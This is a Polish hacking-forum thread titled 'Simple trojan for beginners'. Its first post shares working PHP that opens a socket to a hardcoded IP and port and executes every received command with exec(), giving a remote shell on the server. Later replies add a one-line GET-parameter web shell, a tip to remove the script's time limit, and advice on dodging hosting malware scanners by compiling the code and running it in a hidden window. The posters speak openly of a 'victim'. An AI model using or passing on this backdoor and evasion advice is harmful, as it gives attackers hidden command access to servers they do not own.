[PHP] Prosty trojan dla początkujących

Zbiór ciekawych kodów źródłowych, skryptów i gotowców.
Regulamin forum
-Staraj się poprzedzać nazwę tematu prefiksem z nazwą języka programowania np. [Python] nazwa tematu.
-Wklejaj źródła w znaczniku

Kod: Zaznacz cały

[/b].
-Staraj się w skrócie opisać do czego dane źródło służy.
[b]-Zawsze podaj stronę domową autora (jeśli znasz te informacje)[/b]. Szanujemy cudzą prace!
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

[PHP] Prosty trojan dla początkujących

Post autor: Kenjin »

Siema chcialem sie podzielic bardzo prostym ale niezwykle efektywnym trojanem. Jest to serwer, wiec oczywiscie musi byc odpalony po stronie serwera udostepnia nam on tryb komendowy systemu windows servera, tak wiec po nawiazaniu polaczenia tcp jestesmy w stanie wysylac dowolne komendy cmd. Proste ale niezwykle potezne narzedzie.

Kod: Zaznacz cały

<?php

$server = "192.168.10.151";
$port = 448;

$socket = socket_create(AF_INET, SOCK_STREAM, 0);

socket_connect($socket, $server, $port);
socket_write($socket, "Dzialam:)\r\n");

$buffer = '';
$output = array();

while(1){
	$data = socket_read($socket, 1024);
	$data = trim($data);
	if ($data == 'quit'){
	socket_write($socket, "Papa");
	break;
	}
	$cmd = $data;
	exec($cmd, $output);
	foreach($output as $out){
	socket_write($socket, $out);
	socket_write($socket, "\r\n");
	}
	$kom = "cls";
	exec($kom);
	$output = '';
}
socket_close($socket);
?>
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: Prosty trojan dla poczatkujacych

Post autor: F3nix »

Fajne i proste jak tak rzucam na to okiem. Brakuje moim zdaniem pewnej rzeczy. Wydaje mi się, że większość serwerów domyślnie ma ustawione wykonywanie pliku PHP na 30 sekund. Przydałoby się dodać:

Kod: Zaznacz cały

set_time_limit (0);
Parametr to liczba sekund wykonania skryptu. Zero ustawia na nieskończone wykonanie skryptu (aż do przerwania go w przeglądarce www). Naprawdę dobry skrypt do edukacji innych, jednak mam pewną wątpliwość czy nie łatwiej nie korzystać z socketów i zrobić po prostu:

Kod: Zaznacz cały

<?php
if ($_GET['cmd'])
   exec($_GET['cmd'];
?>
Nie znam za dobrze PHP ale skoro tutaj jest adres IP i PORT to czy ja dobrze rozumiem że ten socket łączy się z nami (192.168.10.151) bo dalej rozumiem jak komunikacja przebiega? Bo jeśli tak jest to jest to tzn. reverse_tcp czyli ofiara łączy się z nami. Lepiej zrobić bind_tcp czyli, że oczekuje na połączenia od osób i jak ktoś się połączy (np: za pomocą zwykłego netcat lub telnet na tym porcie 448 to oddaje mu do usług cmd). Może Cię zainteresuje jeszcze to (jest film): http://haker.edu.pl/2015/10/26/php-curl-upload-pliku/

Jeśli tak nie jest i jest to adres IP serwera to można je dynamicznie sobie pobrać:

Kod: Zaznacz cały

$_SERVER['SERVER_ADDR'];
Dzięki za skrypt!
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Re: Prosty trojan dla poczatkujacych

Post autor: Kenjin »

F3nix pisze:Fajne i proste jak tak rzucam na to okiem. Brakuje moim zdaniem pewnej rzeczy. Wydaje mi się, że większość serwerów domyślnie ma ustawione wykonywanie pliku PHP na 30 sekund. Przydałoby się dodać:

Kod: Zaznacz cały

set_time_limit (0);
Parametr to liczba sekund wykonania skryptu. Zero ustawia na nieskończone wykonanie skryptu (aż do przerwania go w przeglądarce www).
masz racje, jednak u mnie jest to domyslnie ustawione na no limit(w configu php), wiec nie musze tego deklarowac w kazdym skrypcie. Ale oczywiscie zapomnialem tego wspomniec :P.
F3nix pisze: Naprawdę dobry skrypt do edukacji innych, jednak mam pewną wątpliwość czy nie łatwiej nie korzystać z socketów i zrobić po prostu:

Kod: Zaznacz cały

<?php
if ($_GET['cmd'])
   exec($_GET['cmd'];
?>
Mozna GETem ale wtedy konieczna jest odpalona przegladarka internetowa. Moj skrypt dziala rowniez z poziomu konsoli(jak uruchomisz trybem konsolowym skrypt). Dla lepszego efektu mozna nawet skompilowac go do .exe(np. bambompile) i odpalic w trybie niewidzialnego okna cmd :). Moze napisze tutorial o tym dla potomnych.
F3nix pisze: Nie znam za dobrze PHP ale skoro tutaj jest adres IP i PORT to czy ja dobrze rozumiem że ten socket łączy się z nami (192.168.10.151) bo dalej rozumiem jak komunikacja przebiega? Bo jeśli tak jest to jest to tzn. reverse_tcp czyli ofiara łączy się z nami. Lepiej zrobić bind_tcp czyli, że oczekuje na połączenia od osób i jak ktoś się połączy (np: za pomocą zwykłego netcat lub telnet na tym porcie 448 to oddaje mu do usług cmd). Może Cię zainteresuje jeszcze to (jest film): http://haker.edu.pl/2015/10/26/php-curl-upload-pliku/

Jeśli tak nie jest i jest to adres IP serwera to można je dynamicznie sobie pobrać:

Kod: Zaznacz cały

$_SERVER['SERVER_ADDR'];
Dzięki za skrypt!
Oh tutaj troche moja niechlujnosc. To jest moj stary skrypt wiec postanowilem sie nim podzielic nie myslalem za bardzo o komentowaniu i wyjasnianiu o co chodzi(moj blad). Skrypt dziala właśnie jako bind-tcp. Dokladnie dziala jak napisales oczekuje na polaczenie na danym porcie (w tym wypadku 448) i po otrzymaniu go udostepnia nam konsole a mowiac precyzyjniej kazdwy wyslany pakiet jest trimowany i wpisywany jako polecenie konsoli.
Adres IP to poprostu adres servera ktory nasluchuje. I tutaj jeszcze raz moj blad, testowalem to na swoich komputerach i wtedy nawet o tym nie pomyslalem. Oczywiscie trzeba dynamicznie pobierac(chyba, ze znasz ip ofiary przed atakiem), gdzies w mojej bardziej zaawansowanej wersji tego skryptu obslugujacej multiwatkowosc wszystko to popoprawialem, moze sie kiedys podziele nim rowniez :).

Z wielka checia przyjze sie temu artykulowi, z curclem mialem troche doczynienia ale nigdy jakos na dluzsza mete sie nie zajmowalem, dzieki :).
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: [PHP] Prosty trojan dla poczatkujacych

Post autor: F3nix »

Tak abstrahując są pewne sztuczki na ukrycie pewnych nieciekawych funkcji w kodzie bo niestety lub na szczęście większość skanerów shelli na hostingu wykrywa wywołanie funkcji exec().

BTW: i tak najlepszy fragment kodu to:

Kod: Zaznacz cały

   socket_write($socket, "Papa");
:lol:

W sumie też poszukam starych gratów na starych nośnikach i może coś w najbliższym czasie wrzucę. Potem szuka się w Internecie rozwiązania, żeby nie wymyślać koła na nowo i lipa nima.
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Re: [PHP] Prosty trojan dla poczatkujacych

Post autor: Kenjin »

Dlatego oplaca sie kompilowac te skrypty, kodu maszynowego mi nic nie wykryje :P(no chyba, ze posiadaja zaawansowane skanery ktore nie zezwalaja na dostep do jakichkolwiek sieciowych aspektow systemu danej aplikacji).

PS: Lubie trzymac moje programy w humorystycznym brzemieniu, zawsze uzywam nazw baz danych, lub komentarzy takich zeby sie z powagi nie zabic :)
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: [PHP] Prosty trojan dla poczatkujacych

Post autor: F3nix »

Tylko wtedy pewnie jak skompilujesz to Linuksowcy pożegnają się z Twoim programem... :-(
Dizzywarrior123
Posty: 1
Rejestracja: 09 lut 2016, 02:11

Post autor: Dizzywarrior123 »

Proszę mnie uczyć , jak korzystać z tego
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: [PHP] Prosty trojan dla początkujących

Post autor: F3nix »

Najpioerw naucz się programowania w PHP z książki (dostępne na helion.pl) lub kursów php następnie wróć i zapewne już takiego pytania nie zadasz. Ciężko powiedzieć coś o tym co jest tak naprawdę dosyć podstawową wiedzą.
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Re:

Post autor: Kenjin »

Dizzywarrior123 pisze:Proszę mnie uczyć , jak korzystać z tego
Niedługo zamierzam napisać na blogu haker.edu.pl tutorial z programowania sieciowego. Omówię w nim podstawową wiedzę na temat socketów, portów i ogólnej komunikacji między komputerami za pośrednictwem sieci. Oczywiście będzie to tutorial dla tych którzy posiadają już podstawową wiedzę z języków programowania, dlatego tak jak f3nix wspomniał, warto zapoznać się z podstawami, zanim zabierze się za bardziej skomplikowane rzeczy.
Frankvam
Posty: 2
Rejestracja: 28 mar 2019, 01:13

PHP Prosty trojan dla poczatkujacych

Post autor: Frankvam »

Plik w ktorym to wpisujesz musi miec rozszerzenie .php lub .php3 lub .phtml, wowczas bedzie traktowanyprzez serwer jako skrypt.
ODPOWIEDZ